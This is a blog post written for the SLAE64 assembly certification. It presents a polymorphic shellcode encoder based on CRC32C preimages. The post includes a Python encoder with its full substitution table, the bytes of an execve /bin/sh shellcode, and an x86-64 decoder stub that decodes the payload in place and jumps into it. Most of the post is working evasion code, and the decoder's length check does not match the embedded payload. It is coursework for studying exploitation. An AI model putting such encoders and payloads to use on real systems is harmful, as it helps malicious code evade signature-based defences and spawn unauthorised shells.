SLAE64 #4 - SSE4.2 CRC32C Encoder

I decided to do something special for the custom encoder shellcode. I used the Intel SSE4.2 CRC32C function to encode the shellcode. CRC32 is a hash function, not an encoding function, so in order to make it an encoder, I had to compute the preimage for each possible byte of the final shellcode and store it into a state table. Since CRC32C has an even distribution, I decided to take the preimage for the 1000 inputs starting from 0x3 to 0x3ea. I will be using the first byte of the output for the encoding.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
crc32(0x3)   =  0x39892262

crc32(0x1a7) =  0x00f7c439
crc32(0x2e9) =  0x00194d4a
crc32(0x34e) =  0x00ee8973

crc32(0x22)  =  0x0a374268
crc32(0x185) =  0x0ac08651
crc32(0x2cb) =  0x0a2e0f22
crc32(0x36c) =  0x0ad9cb1b

crc32(0x3ea) =  0x47022e8d

As you can see, the inputs 0x1a7, 0x2e9, 0x34e into the CRC function will return an output with the byte 0x00, thus these 3 inputs will be used to encode 0x00. After parsing the entire table, you will be able to construct a state table for all 255 values which can be used for your encoder. This encoder is polymorphic, each run of the python script will generate different shellcode because the encoder will randomly choose among the 3 to 4 options to encode each byte. Since I used 1000 inputs, the entire input space will fit into 1.5 bytes. Thus, this encoder will use 1.5 times the space of the original shellcode. It will read in 3 bytes and write out 2 bytes of original shellcode during each loop.

Encoder.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import random

shellcode = ("\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05")
encoded = ""

substitution_dict = { '0': ['1a7', '2e9', '34e'], 'a': ['22', '185', '2cb', '36c'], 'b': ['6a', '1cd', '283', '324'], 'c': ['a1', 
'106', '248'], 'd': ['e9', '14e', '200', '3a7'], 'e': ['31', '196', '2d8', '37f'], 'f': ['79', '1de', '290', '337'], '1': ['48', 
'1ef', '2a1', '306'], '10': ['57', '1f0', '2be', '319'], '11': ['1f', '1b8', '2f6', '351'], '12': ['c7', '160', '22e', '389'], 
'13': ['8f', '128', '266', '3c1'], '14': ['44', '1e3', '2ad', '30a'], '15': ['c', '1ab', '2e5', '342'], '16': ['d4', '173', '23d', 
'39a'], '17': ['9c', '13b', '275', '3d2'], '18': ['e5', '142', '20c', '3ab'], '19': ['ad', '10a', '244', '3e3'], '1a': ['75', 
'1d2', '29c', '33b'], '1b': ['3d', '19a', '2d4', '373'], '1c': ['f6', '151', '21f', '3b8'], '1d': ['be', '119', '257'], '1e': 
['66', '1c1', '28f', '328'], '1f': ['2e', '189', '2c7', '360'], '2': ['90', '137', '279', '3de'], '20': ['ae', '109', '247', '3e0'], 
'21': ['e6', '141', '20f', '3a8'], '22': ['3e', '199', '2d7', '370'], '23': ['76', '1d1', '29f', '338'], '24': ['bd', '11a', '254'], 
'25': ['f5', '152', '21c', '3bb'], '26': ['2d', '18a', '2c4', '363'], '27': ['65', '1c2', '28c', '32b'], '28': ['1c', '1bb', '2f5', 
'352'], '29': ['54', '1f3', '2bd', '31a'], '2a': ['8c', '12b', '265', '3c2'], '2b': ['c4', '163', '22d', '38a'], '2c': ['f', '1a8', 
'2e6', '341'], '2d': ['47', '1e0', '2ae', '309'], '2e': ['9f', '138', '276', '3d1'], '2f': ['d7', '170', '23e', '399'], '3': ['d8', 
'17f', '231', '396'], '30': ['f9', '15e', '210', '3b7'], '31': ['b1', '116', '258'], '32': ['69', '1ce', '280', '327'], '33': ['21', 
'186', '2c8', '36f'], '34': ['ea', '14d', '203', '3a4'], '35': ['a2', '105', '24b'], '36': ['7a', '1dd', '293', '334'], '37': ['32', 
'195', '2db', '37c'], '38': ['4b', '1ec', '2a2', '305'], '39': ['3', '1a4', '2ea', '34d'], '3a': ['db', '17c', '232', '395'], '3b': 
['93', '134', '27a', '3dd'], '3c': ['58', '1ff', '2b1', '316'], '3d': ['10', '1b7', '2f9', '35e'], '3e': ['c8', '16f', '221', '386'], 
'3f': ['80', '127', '269', '3ce'], '4': ['13', '1b4', '2fa', '35d'], '40': ['6f', '1c8', '286', '321'], '41': ['27', '180', '2ce', 
'369'], '42': ['ff', '158', '216', '3b1'], '43': ['b7', '110', '25e'], '44': ['7c', '1db', '295', '332'], '45': ['34', '193', '2dd', 
'37a'], '46': ['ec', '14b', '205', '3a2'], '47': ['a4', '103', '24d', '3ea'], '48': ['dd', '17a', '234', '393'], '49': ['95', '132', 
'27c', '3db'], '4a': ['4d', '1ea', '2a4', '303'], '4b': ['5', '1a2', '2ec', '34b'], '4c': ['ce', '169', '227', '380'], '4d': ['86', 
'121', '26f', '3c8'], '4e': ['5e', '1f9', '2b7', '310'], '4f': ['16', '1b1', '2ff', '358'], '5': ['5b', '1fc', '2b2', '315'], '50': 
['38', '19f', '2d1', '376'], '51': ['70', '1d7', '299', '33e'], '52': ['a8', '10f', '241', '3e6'], '53': ['e0', '147', '209', '3ae'], 
'54': ['2b', '18c', '2c2', '365'], '55': ['63', '1c4', '28a', '32d'], '56': ['bb', '11c', '252'], '57': ['f3', '154', '21a', '3bd'], 
'58': ['8a', '12d', '263', '3c4'], '59': ['c2', '165', '22b', '38c'], '5a': ['1a', '1bd', '2f3', '354'], '5b': ['52', '1f5', '2bb', 
'31c'], '5c': ['99', '13e', '270', '3d7'], '5d': ['d1', '176', '238', '39f'], '5e': ['9', '1ae', '2e0', '347'], '5f': ['41', '1e6', 
'2a8', '30f'], '6': ['83', '124', '26a', '3cd'], '60': ['c1', '166', '228', '38f'], '61': ['89', '12e', '260', '3c7'], '62': ['51', 
'1f6', '2b8', '31f'], '63': ['19', '1be', '2f0', '357'], '64': ['d2', '175', '23b', '39c'], '65': ['9a', '13d', '273', '3d4'], '66': 
['42', '1e5', '2ab', '30c'], '67': ['a', '1ad', '2e3', '344'], '68': ['73', '1d4', '29a', '33d'], '69': ['3b', '19c', '2d2', '375'], 
'6a': ['e3', '144', '20a', '3ad'], '6b': ['ab', '10c', '242', '3e5'], '6c': ['60', '1c7', '289', '32e'], '6d': ['28', '18f', '2c1', 
'366'], '6e': ['f0', '157', '219', '3be'], '6f': ['b8', '11f', '251'], '7': ['cb', '16c', '222', '385'], '70': ['96', '131', '27f', 
'3d8'], '71': ['de', '179', '237', '390'], '72': ['6', '1a1', '2ef', '348'], '73': ['4e', '1e9', '2a7', '300'], '74': ['85', '122', 
'26c', '3cb'], '75': ['cd', '16a', '224', '383'], '76': ['15', '1b2', '2fc', '35b'], '77': ['5d', '1fa', '2b4', '313'], '78': ['24', 
'183', '2cd', '36a'], '79': ['6c', '1cb', '285', '322'], '7a': ['b4', '113', '25d'], '7b': ['fc', '15b', '215', '3b2'], '7c': ['37', 
'190', '2de', '379'], '7d': ['7f', '1d8', '296', '331'], '7e': ['a7', '100', '24e', '3e9'], '7f': ['ef', '148', '206', '3a1'], '8': 
['b2', '115', '25b'], '80': ['4a', '1ed', '2a3', '304'], '81': ['1a5', '2eb', '34c'], '82': ['da', '17d', '233', '394'], '83': ['92', 
'135', '27b', '3dc'], '84': ['59', '1fe', '2b0', '317'], '85': ['11', '1b6', '2f8', '35f'], '86': ['c9', '16e', '220', '387'], '87': 
['81', '126', '268', '3cf'], '88': ['f8', '15f', '211', '3b6'], '89': ['b0', '117', '259'], '8a': ['68', '1cf', '281', '326'], '8b': 
['20', '187', '2c9', '36e'], '8c': ['eb', '14c', '202', '3a5'], '8d': ['a3', '104', '24a'], '8e': ['7b', '1dc', '292', '335'], '8f': 
['33', '194', '2da', '37d'], '9': ['fa', '15d', '213', '3b4'], '90': ['1d', '1ba', '2f4', '353'], '91': ['55', '1f2', '2bc', '31b'], 
'92': ['8d', '12a', '264', '3c3'], '93': ['c5', '162', '22c', '38b'], '94': ['e', '1a9', '2e7', '340'], '95': ['46', '1e1', '2af', 
'308'], '96': ['9e', '139', '277', '3d0'], '97': ['d6', '171', '23f', '398'], '98': ['af', '108', '246', '3e1'], '99': ['e7', '140', 
'20e', '3a9'], '9a': ['3f', '198', '2d6', '371'], '9b': ['77', '1d0', '29e', '339'], '9c': ['bc', '11b', '255'], '9d': ['f4', '153', 
'21d', '3ba'], '9e': ['2c', '18b', '2c5', '362'], '9f': ['64', '1c3', '28d', '32a'], 'a0': ['e4', '143', '20d', '3aa'], 'a1': ['ac', 
'10b', '245', '3e2'], 'a2': ['74', '1d3', '29d', '33a'], 'a3': ['3c', '19b', '2d5', '372'], 'a4': ['f7', '150', '21e', '3b9'], 'a5': 
['bf', '118', '256'], 'a6': ['67', '1c0', '28e', '329'], 'a7': ['2f', '188', '2c6', '361'], 'a8': ['56', '1f1', '2bf', '318'], 'a9': 
['1e', '1b9', '2f7', '350'], 'aa': ['c6', '161', '22f', '388'], 'ab': ['8e', '129', '267', '3c0'], 'ac': ['45', '1e2', '2ac', '30b'], 
'ad': ['d', '1aa', '2e4', '343'], 'ae': ['d5', '172', '23c', '39b'], 'af': ['9d', '13a', '274', '3d3'], 'b0': ['b3', '114', '25a'], 
'b1': ['fb', '15c', '212', '3b5'], 'b2': ['23', '184', '2ca', '36d'], 'b3': ['6b', '1cc', '282', '325'], 'b4': ['a0', '107', '249'], 
'b5': ['e8', '14f', '201', '3a6'], 'b6': ['30', '197', '2d9', '37e'], 'b7': ['78', '1df', '291', '336'], 'b8': ['1a6', '2e8', '34f'], 
'b9': ['49', '1ee', '2a0', '307'], 'ba': ['91', '136', '278', '3df'], 'bb': ['d9', '17e', '230', '397'], 'bc': ['12', '1b5', '2fb', 
'35c'], 'bd': ['5a', '1fd', '2b3', '314'], 'be': ['82', '125', '26b', '3cc'], 'bf': ['ca', '16d', '223', '384'], 'c0': ['25', '182', 
'2cc', '36b'], 'c1': ['6d', '1ca', '284', '323'], 'c2': ['b5', '112', '25c'], 'c3': ['fd', '15a', '214', '3b3'], 'c4': ['36', '191', 
'2df', '378'], 'c5': ['7e', '1d9', '297', '330'], 'c6': ['a6', '101', '24f', '3e8'], 'c7': ['ee', '149', '207', '3a0'], 'c8': ['97', 
'130', '27e', '3d9'], 'c9': ['df', '178', '236', '391'], 'ca': ['7', '1a0', '2ee', '349'], 'cb': ['4f', '1e8', '2a6', '301'], 'cc': 
['84', '123', '26d', '3ca'], 'cd': ['cc', '16b', '225', '382'], 'ce': ['14', '1b3', '2fd', '35a'], 'cf': ['5c', '1fb', '2b5', '312'], 
'd0': ['72', '1d5', '29b', '33c'], 'd1': ['3a', '19d', '2d3', '374'], 'd2': ['e2', '145', '20b', '3ac'], 'd3': ['aa', '10d', '243', 
'3e4'], 'd4': ['61', '1c6', '288', '32f'], 'd5': ['29', '18e', '2c0', '367'], 'd6': ['f1', '156', '218', '3bf'], 'd7': ['b9', '11e', 
'250'], 'd8': ['c0', '167', '229', '38e'], 'd9': ['88', '12f', '261', '3c6'], 'da': ['50', '1f7', '2b9', '31e'], 'db': ['18', '1bf', 
'2f1', '356'], 'dc': ['d3', '174', '23a', '39d'], 'dd': ['9b', '13c', '272', '3d5'], 'de': ['43', '1e4', '2aa', '30d'], 'df': ['b', 
'1ac', '2e2', '345'], 'e0': ['8b', '12c', '262', '3c5'], 'e1': ['c3', '164', '22a', '38d'], 'e2': ['1b', '1bc', '2f2', '355'], 'e3': 
['53', '1f4', '2ba', '31d'], 'e4': ['98', '13f', '271', '3d6'], 'e5': ['d0', '177', '239', '39e'], 'e6': ['8', '1af', '2e1', '346'], 
'e7': ['40', '1e7', '2a9', '30e'], 'e8': ['39', '19e', '2d0', '377'], 'e9': ['71', '1d6', '298', '33f'], 'ea': ['a9', '10e', '240', 
'3e7'], 'eb': ['e1', '146', '208', '3af'], 'ec': ['2a', '18d', '2c3', '364'], 'ed': ['62', '1c5', '28b', '32c'], 'ee': ['ba', '11d', 
'253'], 'ef': ['f2', '155', '21b', '3bc'], 'f0': ['dc', '17b', '235', '392'], 'f1': ['94', '133', '27d', '3da'], 'f2': ['4c', '1eb', 
'2a5', '302'], 'f3': ['4', '1a3', '2ed', '34a'], 'f4': ['cf', '168', '226', '381'], 'f5': ['87', '120', '26e', '3c9'], 'f6': ['5f', 
'1f8', '2b6', '311'], 'f7': ['17', '1b0', '2fe', '359'], 'f8': ['6e', '1c9', '287', '320'], 'f9': ['26', '181', '2cf', '368'], 'fa': 
['fe', '159', '217', '3b0'], 'fb': ['b6', '111', '25f'], 'fc': ['7d', '1da', '294', '333'], 'fd': ['35', '192', '2dc', '37b'], 'fe': 
['ed', '14a', '204', '3a3'], 'ff': ['a5', '102', '24c']}

for x in bytearray(shellcode) :
  rand_int=random.randint(0, len(substitution_dict[hex(int(x))[2:]])-1)
  print(substitution_dict[hex(int(x))[2:]][rand_int].zfill(3))
  encoded += substitution_dict[hex(int(x))[2:]][rand_int].zfill(3)


t = iter(encoded)
output = ',0x'.join(a+b for a,b in zip(t, t))
final = '0x' + output


print final

print 'Len: %d' % len(bytearray(final))

Decoder.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
global _start

section .text
_start:

    jmp decoder 
    encoded_shellcode: db 0x17,0xa2,0x58,0x18,0x21,0x9f,0x39,0x31,0x7e,0x0d,0x70,0x51,0x19,0xc1,0x57,0x0d,0x73,0x99,0x2a,0x73,0x3d,0x20,0x92,0x34,0x25,0x91,0xe7,0x37,0x61,0x7a,0x25,0x90,0x1b,0x15,0x41,0x7a,0x25,0x93,0x46,0x23,0x41,0x35,0x2c,0xc2,0x7a,0x1d,0xe1,0xfc

decoder:
    lea rsi, [rel encoded_shellcode]
    lea rdi, [rsi]
    xor rax, rax
    xor rbx, rbx
    xor rcx, rcx
    xor r10, r10
    xor r11, r11

decode:             ; every 3 bytes of encoded shellcode encodes 2 bytes of actual shellcode
    xor ebx, ebx 
    mov bl, [rsi + rcx]
    shl ebx, 8
    mov bl, [rsi + rcx + 1 ]
    shl ebx, 8
    mov bl, [rsi + rcx + 2 ]
    xor r8, r8
    xor r9, r9
    mov r8d, ebx
    mov r9d, ebx
    shr r8d, 12     ; r8d - 1st byte of shellcode (stored in first 12 bits)
    shl r9d, 20     
    shr r9d, 20     ; r9d - 2nd byte of shellcode (stored in last 12 bits)
    xor eax, eax
    crc32 r8d, eax 
    xor eax, eax
    crc32 r9d, eax
    mov byte [rsi + r11], r8b
    mov byte [rsi + r11 + 1], r9b
    cmp cl, 60              ; replace 60 with length of encoded shellcode in bytes
    je encoded_shellcode
    add cl, 3           ; cl - current position of encoded shellcode
    add r11, 2          ; r11 - current position of actual shellcode
    jmp short decode

This blog post has (not) been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID: SLAE64-XXXXX